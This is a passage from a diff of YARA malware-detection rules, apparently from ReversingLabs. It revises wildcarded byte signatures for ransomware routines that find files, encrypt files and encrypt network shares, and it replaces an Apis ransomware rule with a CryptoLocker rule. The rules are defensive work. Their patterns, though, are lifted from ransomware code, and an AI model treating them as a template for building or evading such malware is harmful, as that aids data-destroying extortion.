+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? 8B
+            4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45
+            ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F
+            85 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95
+            ?? ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 52
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
         }
-		$remote_connection_p2 = {
-            C0 89 44 24 ?? 0F 88 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 74 ?? A1 ?? ?? ?? ?? 89 CB 85 C0
-            75 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 50 E8
-            ?? ?? ?? ?? 85 C0 89 D9 75 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ??
-            53 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 89 F1 8D 54 24 ?? 89 44 24 ?? 89 5C 24
-            ?? 89 5C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 8B 84 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ??
-            ?? ?? ?? 3D ?? ?? ?? ?? 0F 43 C1 6A ?? 50 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89
-            44 24 ?? 75 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? FF 74 24 ?? 6A ?? FF 35 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 0F 84 ?? ?? ?? ?? 80 BB ?? ?? ?? ??
-            ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB
+		$encrypt_network_shares_win32_p2 = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ??
+            ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52
+            8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ??
+            83 C2 ?? 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 39 45 ?? 73 ?? 83 7D ?? ?? 76 ?? 8B 45
         }
-		$enum_procs = {
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 39 F7 74 ??
-            69 C7 ?? ?? ?? ?? 89 4D ?? 01 C8 68 ?? ?? ?? ?? 89 DE 53 50 E8 ?? ?? ?? ?? 83 C4 ??
-            47 8D 85 ?? ?? ?? ?? 89 7D ?? 50 8B 5D ?? 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 89
-            F3 89 C6 EB ?? 8D 4D ?? 89 F2 E8 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? EB ?? 31 FF 8B 75 ??
-            85 FF 75 ?? E9 ?? ?? ?? ?? 31 FF 53 E8 ?? ?? ?? ?? 8B 75 ?? 85 FF 0F 84 ?? ?? ?? ??
-            83 7D ?? ?? 0F 84 ?? ?? ?? ?? 69 C7 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? 01 F0 89
-            45 ?? 8B 45 ?? 8D 04 40 8D 04 81 89 45 ?? EB
+		$encrypt_network_shares_win32_p3 = {
+            33 D2 B9 ?? ?? ?? ?? F7 F1 85 D2 75 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 4D ?? E8
+            ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? EB ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
+            8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 55 ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            8B 4D ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8A 45 ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D
+            C2
         }
-		$find_files = {
-            57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 56 E8 ?? ?? ??
-            ?? 83 F8 ?? 89 45 ?? 0F 84 ?? ?? ?? ?? 89 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? 89 C6 8B 45 ?? 8B 4D ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ??
-            8D 41 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 CB 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B 45 ?? 89 43 ?? 89 73 ?? 8B 75 ?? 31 C0 C7 43 ?? ?? ?? ?? ?? F7 45
-            ?? ?? ?? ?? ?? 89 03 75 ?? 83 7D ?? ?? 74 ?? 57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? 83 7D ?? ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5E 5F 5B 5D C3
+		$find_files_win32_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
+            7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? 03
+            D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ?? 59 EB
+            ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E 5F 5B 8B E5 5D
+            C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ??
+            ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74
+            ?? 0F B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B
         }
-		$encrypt_files_p1 = {
-            B8 ?? ?? ?? ?? 8D 4D ?? 8D 95 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 75
-            ?? 8D 4D ?? 89 FA 56 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 8B 5D ?? 89
-            45 ?? 8B 45 ?? 83 F8 ?? 72 ?? 85 DB 74 ?? 0F B7 0B 81 F9 ?? ?? ?? ?? 75 ?? 8B 4B ??
-            89 C2 29 CA 72 ?? 83 FA ?? 72 ?? 85 DB 74 ?? 81 3C 0B ?? ?? ?? ?? 75 ?? 0F B7 54 0B
-            ?? 81 FA ?? ?? ?? ?? 75 ?? 0F B7 54 0B ?? 83 EA ?? 89 55 ?? BA ?? ?? ?? ?? 19 D2 89
-            55 ?? 72 ?? 83 F9 ?? 76
+		$find_files_win32_p2 = {
+            8D ?? ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ??
+            ?? ?? ?? 83 C4 ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA 42
+            F7 D8 68 ?? ?? ?? ?? 1B C0 33 FF 23 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B
+            85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74
+            ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B
+            48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD
+            ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 50 FF B5 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ??
+            ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ?? ?? 59 75 ?? 8B 10 8B 40 ?? 8B
+            8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50
+            8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
         }
-		$encrypt_files_p2 = {
-            53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 57
-            6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 51 ?? 29 D0 8B 55 ?? 0F 92
-            45 ?? 83 7D ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 39 C2 77 ?? B8 ?? ?? ?? ?? F7 64 0B ?? 8B
-            55 ?? 70 ?? 39 C2 72 ?? 8B 44 0B ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? 8B 85 ??
-            ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ??
-            89 45 ?? 89 10 89 48 ?? 8B 45 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ??
-            8B 45 ?? 8B 4D ?? 29 45 ?? 3B 4D ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8B 45 ?? 8B 4D ?? 89 45 ?? 89 4D ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 35 ?? ??
-            ?? ?? 8B 45 ?? F2 0F 10 45 ?? 85 F6 89 85 ?? ?? ?? ?? F2 0F 11 85 ?? ?? ?? ?? 0F 84
-            ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8D 0C C0 8D 3C 49 01 C7 01 F7 EB
+		$encrypt_files_win32_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 83 7D ?? ?? 74 ?? 83 7D ?? ??
+            75 ?? 32 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 33 C9 89 4D ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32
+            C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ??
+            51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 33 D2 89 55 ?? C7 45 ?? ?? ?? ?? ?? 33 C0 89 45 ?? 0F 57 C0 66 0F 13 85 ??
+            ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D
+            ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 0F 8F ?? ?? ?? ?? 7C ?? 8B
+            8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 55 ?? 52
+        }
+		$encrypt_files_win32_p2 = {
+            8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50
+            68 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0
+            75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ??
+            ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0
+            75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 3B 4D ??
+            0F 83 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 6A ?? 8B 4D ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 0F B6 D0
+            85 D2 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9
+            ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 55
+            ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? EB ?? E9 ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4D
+            ?? 8B 95 ?? ?? ?? ?? 89 55 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85
+        }
+		$encrypt_files_win32_p3 = {
+            8B 8D ?? ?? ?? ?? 89 4D ?? 8B 95 ?? ?? ?? ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51
+            8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51
+            8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 55 ?? 52
+            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 39 45 ?? 75 ?? 0F 57
+            C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 4D
+            ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8A 45 ?? EB ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 8A 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
+            E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_procs) and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_win32_p*)) and ( all of ($encrypt_files_win32_p*)) and ( all of ($encrypt_network_shares_win32_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Apis : TC_DETECTION MALICIOUS MALWARE FILE
+import "pe"
+
+rule REVERSINGLABS_Win32_Ransomware_Cryptolocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Apis ransomware."
+		description = "Yara rule that detects CryptoLocker ransomware."
 		author = "ReversingLabs"
-		id = "63791250-e21e-53d1-932c-9b5d16a7cad9"
-		date = "2021-11-25"
-		modified = "2021-11-25"
+		id = "8cc3ac4b-9179-5e2c-97e1-65304f9dfe22"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Apis.yara#L1-L75"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0915469884a268f124da348d6a182eb4a0f69063d4041b46628794ab011227ef"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.CryptoLocker.yara#L3-L154"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "08430b0c5689840d592bdda5dbc2ed06e0d0fa1e2c0f19aff4316580c6a0b23d"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26044,68 +27436,139 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Apis : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Apis"
+		tc_detection_name = "CryptoLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0A 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 2C ?? 06 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E
-            69 32 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E ?? ?? ?? ??
-            7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
-            ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ??
-            7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ??
-            ?? ?? 08 28 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11
-            ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ??
-            28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A
+		$file_loop_1 = {
+            55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 45 01
+            00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 75 ??
+            6A ?? 8B 49 ?? 6A ?? 52 56 8B 01 6A ?? 89 55 ?? 8B 00 FF D0 84 C0 0F 84 E6 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 D2 89
+            45 ?? 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73
+            0F 8B 45 ?? 8D 0C 13 8B 40 ?? 88 0C 02 42 EB CC 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 6B 85 DB 77 0E 72 08 81 FF ?? ?? ??
+            ?? 73 04 8B F7 EB 05 BE ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            39 75 ?? 75 ?? 8B 45 ?? 2B FE 8B 55 ?? 83 DB ?? 2B D7 8B 48 ?? 8B 45 ?? 1B C3 50 8B 31 52 FF 75 ?? FF 75 ?? 8B 06 6A ??
+            FF D0 84 C0 74 34 85 DB 77 AD 72 04 85 FF 75 95 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D ?? FE C1 0F B6 C1 88 4D ?? 3B 45
